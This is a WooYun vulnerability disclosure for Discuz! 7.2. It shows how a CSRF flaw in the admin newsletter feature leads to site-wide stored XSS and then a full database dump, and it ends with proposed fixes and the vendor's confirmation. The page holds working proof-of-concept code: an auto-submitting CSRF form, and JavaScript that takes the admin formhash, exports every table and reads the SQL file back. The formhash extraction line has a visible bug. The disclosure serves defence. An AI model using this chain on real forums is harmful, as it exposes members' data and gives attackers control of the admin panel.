当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093585

漏洞标题:Discuz!从CSRF全员XSS到脱裤与任意SQL执行(附POC主要谈修复方式)

相关厂商:Discuz!

漏洞作者: zph

提交时间:2015-01-26 10:37

修复时间:2015-04-26 10:38

公开时间:2015-04-26 10:38

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-26: 细节已通知厂商并且等待厂商处理中
2015-01-29: 厂商已经确认,细节仅向厂商公开
2015-02-01: 细节向第三方安全合作伙伴开放
2015-03-25: 细节向核心白帽子及相关领域专家公开
2015-04-04: 细节向普通白帽子公开
2015-04-14: 细节向实习白帽子公开
2015-04-26: 细节向公众公开

简要描述:

Discuz! 从CSRF全员XSS到脱裤&任意sql执行(附POC,主要谈修复方式)

详细说明:

首先是一个CSRF:
url:/admincp.php?action=members&operation=newsletter&username=%2A&uid=0&srchemail=&regdatebefore=&regdateafter=&postshigher=&postslower=&regip=&lastip=&lastvisitafter=&lastvisitbefore=&lastpostafter=&lastpostbefore=&birthyear=&birthmonth=&birthday=&lower[credits]=&lower[extcredits1]=&lower[extcredits2]=&higher[credits]=&higher[extcredits1]=&higher[extcredits2]=
POST内容:
formhash=&scrolltop=&anchor=&subject=%3Cscript%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E&message=test&sendvia=pm&pertask=100&newslettersubmit=%E6%8F%90%E4%BA%A4
给出一个简单的POC:

<form id="post123" name="post123" action="http://a.com/dz72/admincp.php?action=members&operation=newsletter&username=%2A&uid=0&srchemail=&regdatebefore=&regdateafter=&postshigher=&postslower=&regip=&lastip=&lastvisitafter=&lastvisitbefore=&lastpostafter=&lastpostbefore=&birthyear=&birthmonth=&birthday=&lower[credits]=&lower[extcredits1]=&lower[extcredits2]=&higher[credits]=&higher[extcredits1]=&higher[extcredits2]=" method="post">
<input type=hidden name=subject value="%3Cscript%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E">
<input type=hidden name=message value="test">
<input type=hidden name=sendvia value="pm">
<input type=hidden name=pertask value="1000">
<input type=hidden name=newslettersubmit value="%E6%8F%90%E4%BA%A4">
<script>
document.getElementById('post123').submit();
</script>
</form>


1.png


成功提交

2.png


前台所有成员均受到被X影响

3.png


那下面说一下怎么利用这个XSS,其实这个XSS是很好利用的,既然我们有了XSS,后台任意操作只需要拿到formhash即可,那么给出POC:

function ajax(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
var formhash = '';
var cookie = document.cookie;
var _x = ajax();
request_get();
function request_get() {
src="http://a.com/dz72/admincp.php?action=settings&operation=basic";
data="";
xhr_act("GET",src,data);
}
function sleep(n){
var start=new Date().getTime();
while(true) if(new Date().getTime()-start>n) break;
}
function request_post(flag) {
src="http://a.com/dz72/admincp.php?action=db&operation=export&setup=1";
if(flag == 1){
data='formhash='+formhash+'&scrolltop=&anchor=&type=discuz&chkall=on&customtables%5B%5D=cdb_access&customtables%5B%5D=cdb_activities&customtables%5B%5D=cdb_activityapplies&customtables%5B%5D=cdb_addons&customtables%5B%5D=cdb_adminactions&customtables%5B%5D=cdb_admincustom&customtables%5B%5D=cdb_admingroups&customtables%5B%5D=cdb_adminnotes&customtables%5B%5D=cdb_adminsessions&customtables%5B%5D=cdb_advertisements&customtables%5B%5D=cdb_announcements&customtables%5B%5D=cdb_attachmentfields&customtables%5B%5D=cdb_attachments&customtables%5B%5D=cdb_attachpaymentlog&customtables%5B%5D=cdb_attachtypes&customtables%5B%5D=cdb_banned&customtables%5B%5D=cdb_bbcodes&customtables%5B%5D=cdb_caches&customtables%5B%5D=cdb_creditslog&customtables%5B%5D=cdb_crons&customtables%5B%5D=cdb_debateposts&customtables%5B%5D=cdb_debates&customtables%5B%5D=cdb_failedlogins&customtables%5B%5D=cdb_faqs&customtables%5B%5D=cdb_favoriteforums&customtables%5B%5D=cdb_favorites&customtables%5B%5D=cdb_favoritethreads&customtables%5B%5D=cdb_feeds&customtables%5B%5D=cdb_forumfields&customtables%5B%5D=cdb_forumlinks&customtables%5B%5D=cdb_forumrecommend&customtables%5B%5D=cdb_forums&customtables%5B%5D=cdb_imagetypes&customtables%5B%5D=cdb_invites&customtables%5B%5D=cdb_itempool&customtables%5B%5D=cdb_magiclog&customtables%5B%5D=cdb_magicmarket&customtables%5B%5D=cdb_magics&customtables%5B%5D=cdb_medallog&customtables%5B%5D=cdb_medals&customtables%5B%5D=cdb_memberfields&customtables%5B%5D=cdb_membermagics&customtables%5B%5D=cdb_memberrecommend&customtables%5B%5D=cdb_members&customtables%5B%5D=cdb_memberspaces&customtables%5B%5D=cdb_moderators&customtables%5B%5D=cdb_modworks&customtables%5B%5D=cdb_mytasks&customtables%5B%5D=cdb_navs&customtables%5B%5D=cdb_onlinelist&customtables%5B%5D=cdb_onlinetime&customtables%5B%5D=cdb_orders&customtables%5B%5D=cdb_paymentlog&customtables%5B%5D=cdb_pluginhooks&customtables%5B%5D=cdb_plugins&customtables%5B%5D=cdb_pluginvars&customtables%5B%5D=cdb_polloptions&customtables%5B%5D=cdb_polls&customtables%5B%5D=cdb_postposition&customtables%5B%5D=cdb_posts&customtables%5B%5D=cdb_profilefields&customtables%5B%5D=cdb_projects&customtables%5B%5D=cdb_promotions&customtables%5B%5D=cdb_prompt&customtables%5B%5D=cdb_promptmsgs&customtables%5B%5D=cdb_prompttype&customtables%5B%5D=cdb_ranks&customtables%5B%5D=cdb_ratelog&customtables%5B%5D=cdb_regips&customtables%5B%5D=cdb_relatedthreads&customtables%5B%5D=cdb_reportlog&customtables%5B%5D=cdb_request&customtables%5B%5D=cdb_rewardlog&customtables%5B%5D=cdb_rsscaches&customtables%5B%5D=cdb_searchindex&customtables%5B%5D=cdb_sessions&customtables%5B%5D=cdb_settings&customtables%5B%5D=cdb_smilies&customtables%5B%5D=cdb_spacecaches&customtables%5B%5D=cdb_stats&customtables%5B%5D=cdb_statvars&customtables%5B%5D=cdb_styles&customtables%5B%5D=cdb_stylevars&customtables%5B%5D=cdb_tags&customtables%5B%5D=cdb_tasks&customtables%5B%5D=cdb_taskvars&customtables%5B%5D=cdb_templates&customtables%5B%5D=cdb_threads&customtables%5B%5D=cdb_threadsmod&customtables%5B%5D=cdb_threadtags&customtables%5B%5D=cdb_threadtypes&customtables%5B%5D=cdb_tradecomments&customtables%5B%5D=cdb_tradelog&customtables%5B%5D=cdb_tradeoptionvars&customtables%5B%5D=cdb_trades&customtables%5B%5D=cdb_typemodels&customtables%5B%5D=cdb_typeoptions&customtables%5B%5D=cdb_typeoptionvars&customtables%5B%5D=cdb_typevars&customtables%5B%5D=cdb_usergroups&customtables%5B%5D=cdb_validating&customtables%5B%5D=cdb_warnings&customtables%5B%5D=cdb_words&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=140915_ce31AeXP&exportsubmit=%E6%8F%90%E4%BA%A4';
xhr_act("POST",src,data);
}else{
return;
}
}

function get_database_sql_url(_m,_s,_a){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
var document_str = _x.responseText;
var p = new RegExp('<a href="(.*\\.sql)">');
var rs = document_str.match(p);
var baseurl='http://a.com/dz72/';
if(rs){
baseurl = baseurl+rs[1];
get_database_content("GET",baseurl,"");
}else{
return false;
}
}
function get_database_content(_m,_s,_a){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
console.log(_x.responseText);
}
function xhr_act(_m,_s,_a){
if(_m == "GET"){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
var document_str = _x.responseText;
console.log(document_str);
var basestr = 'name="formhash" value="';
var formhashpos = basestr.indexOf(basestr);
var realpos = formhashpos + basestr.length;
formhash = document_str.substr(realpos,8);
if(formhash){
var count_0 = 1;
var count_1 = 1;
for(var i=0;i<count_0;i++)
request_post(1)
sleep(3000);
for(var j=0;j<count_1;j++){
var sqlback_url = "http://a.com/dz72/admincp.php?action=db&operation=import";
get_database_sql_url("GET",sqlback_url,"");
}
}
}else{
_x.open(_m,_s,false);
_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
_x.setRequestHeader("Cookie",cookie);
_x.send(_a);
return _x.responseText;
}
}


只要把这段js代码通过CSRF发送给论坛全部会员(包括所有管理),即可成功利用脱裤。
并且可以执行任意sql

5.png


6.png

漏洞证明:

证明请看上图。

修复方案:

我们先来谈一下风险,这个漏洞从一开始挖掘就开始做风险评估,要结合CSRF和XSS才可以利用的一个漏洞,到底有没有价值呢?
1.首先最鸡肋的就是这个CSRF,要管理员访问指定页面才可以达到目的。不过我们反过来想一下,如果是针对性非常高的攻击,再结合一些社工方法,仅仅让管理员访问一个页面应该是问题不大的。
2.访问页面后,XSS已经发送给所有用户。管理员在不知情的情况下,看到有新消息,应该是毫不犹豫地打开提醒,XSS即可被触发。
需要管理员互动,但是会造成很大的风险。根据DREAD模型,取最高威胁风险值为4。
Damage Potential:可造成执行所有后台操作的风险(脱裤、sqlshell等),4。
Reproducibility:过程比较繁琐,1。
Exploitability:漏洞利用条件相对复杂,2。
Affected users:影响所有用户,4。
Discoverability:知情者较容易发现,3。
那么Impact = D(4) + R(1) + E(2) + A(4) + D(3) = 14
Likelihood取70%的可能性利用成功。
即最后Risk = Likelihood * Impact = 70% * 14 = 9.8,取10
最后我们来谈一下修复。
1.首先那个CSRF操作要判断formhash,不多说了。主要来谈一下如何解决一旦有XSS就可以伪造执行任意后台请求的问题。
2.最简单的方法就是搞个验证码,在验证码不被识别的情况下基本不可能达到目的。
3.其次还有一种方法,在每个页面的URI里都加上token,并且每次访问均不同。
在点右上角的“管理后台”访问admincp.php的时候,URI里带有生成好的token(并且仅当前页面访问有效,重新访问页面后过期),如果已经登陆,即可直接访问后台,未登陆需登陆后访问后台。
如果直接键入url(比如http://host.com/admincp.cp),URI中不带有token,即需要重新登陆后生成token,才可访问后台。
在访问后台后,每个页面(所有页面,不仅仅是请求页面)都带有token,如果通过直接访问url的方式(即URI中不带有token)访问某个页面或执行操作,则还需要重新登陆后台,才可以访问。
这样的方式对程序员写代码相对复杂一些,但是这样的方式可以保证即使存在XSS,也不会被抓取到页面中的formhash去伪造请求。应该是可以保证100%安全的。
4.不知道你们理解了没,我的表达可能不是太准确。如果有不明白的地方可以问我。

版权声明:转载请注明来源 zph@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-29 17:05

厂商回复:

非常感谢你提出的问题和解决方案,我们尽快对这个问题进行修复

最新状态:

暂无